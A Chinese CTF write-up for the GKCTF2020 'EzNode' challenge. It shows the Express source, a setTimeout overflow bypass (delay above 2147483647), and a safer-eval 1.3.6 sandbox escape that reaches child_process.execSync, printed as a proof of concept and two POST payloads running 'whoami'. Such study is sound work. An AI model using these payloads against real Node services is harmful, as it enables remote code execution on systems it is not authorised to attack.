0%

[GKCTF2020]EzNode

[GKCTF2020]EzNode

也不ez吧,学习了一下nodeJS的中间件概念和next函数

源码

const express = require('express');
const bodyParser = require('body-parser');

const saferEval = require('safer-eval'); // 2019.7/WORKER1 找到一个很棒的库

const fs = require('fs');

const app = express();


app.use(bodyParser.urlencoded({ extended: false }));
app.use(bodyParser.json());

// 2020.1/WORKER2 老板说为了后期方便优化
app.use((req, res, next) => {
  if (req.path === '/eval') {
    let delay = 60 * 1000;
    console.log(delay);
    if (Number.isInteger(parseInt(req.query.delay))) {
      delay = Math.max(delay, parseInt(req.query.delay));
    }
    const t = setTimeout(() => next(), delay);
    // 2020.1/WORKER3 老板说让我优化一下速度,我就直接这样写了,其他人写了啥关我p事
    setTimeout(() => {
      clearTimeout(t);
      console.log('timeout');
      try {
        res.send('Timeout!');
      } catch (e) {

      }
    }, 1000);
  } else {
    next();
  }
});

app.post('/eval', function (req, res) {
  let response = '';
  if (req.body.e) {
    try {
      response = saferEval(req.body.e);
    } catch (e) {
      response = 'Wrong Wrong Wrong!!!!';
    }
  }
  res.send(String(response));
});

// 2019.10/WORKER1 老板娘说她要看到我们的源代码,用行数计算KPI
app.get('/source', function (req, res) {
  res.set('Content-Type', 'text/javascript;charset=utf-8');
  res.send(fs.readFileSync('./index.js'));
});

// 2019.12/WORKER3 为了方便我自己查看版本,加上这个接口
app.get('/version', function (req, res) {
  res.set('Content-Type', 'text/json;charset=utf-8');
  res.send(fs.readFileSync('./package.json'));
});

app.get('/', function (req, res) {
  res.set('Content-Type', 'text/html;charset=utf-8');
  res.send(fs.readFileSync('./index.html'))
})

app.listen(80, '0.0.0.0', () => {
  console.log('Start listening')
});

setTimeout绕过

主要逻辑就在那个自己写的中间件上,每一个app.use都是一个中间件,每一个请求发送到nodejs的时候,请求就会依次经过这些中间件,中间件对req和res进行处理,使用res.send结束请求,或是调用next进入下一个中间件,这里代码的关键部分是这一段

 const t = setTimeout(() => next(), delay);
    setTimeout(() => {
      clearTimeout(t);
      console.log('timeout');
      try {
        res.send('Timeout!');
      } catch (e) {

      }
    }, 1000);

之前将delay设置为了Math.max(delay, parseInt(req.query.delay))而这里使用setTimeout调用next函数,接下来又再次使用setTimeout调用clearTimeout来停止计时器,我们需要经过delay的时间才能调用next进入下一个中间件也就是路由,而在delay结束之前,第二个setTimeout函数先计时结束,停止了计时并结束了这次会话
需要绕过,查一下资料可知,setTimeout在delay大于2147483647或小于1时,会将delay设置为1
这样子就可以在timeout之前调用next,进入下一步了

safe-eval 1.3.6绕过

在version路由下给出了safe-eval的版本号,1.3.6,大于市面上能直接搜到漏洞的版本,但这并不意味着没有洞,搜一搜还是有的

const saferEval = require("./src/index");

const theFunction = function () {
  const process = clearImmediate.constructor("return process;")();
  return process.mainModule.require("child_process").execSync("whoami").toString()
};
const untrusted = `(${theFunction})()`;

console.log(saferEval(untrusted));

payload有两种打的形式,一个就直接抄,用自调用函数

e=(function () {
  const process = clearImmediate.constructor("return process;")();
  return process.mainModule.require("child_process").execSync("whoami").toString()
})()

另一个可以把内容合并一下短一点

e=clearImmediate.constructor("return process;")().mainModule.require("child_process").execSync("whoami").toString()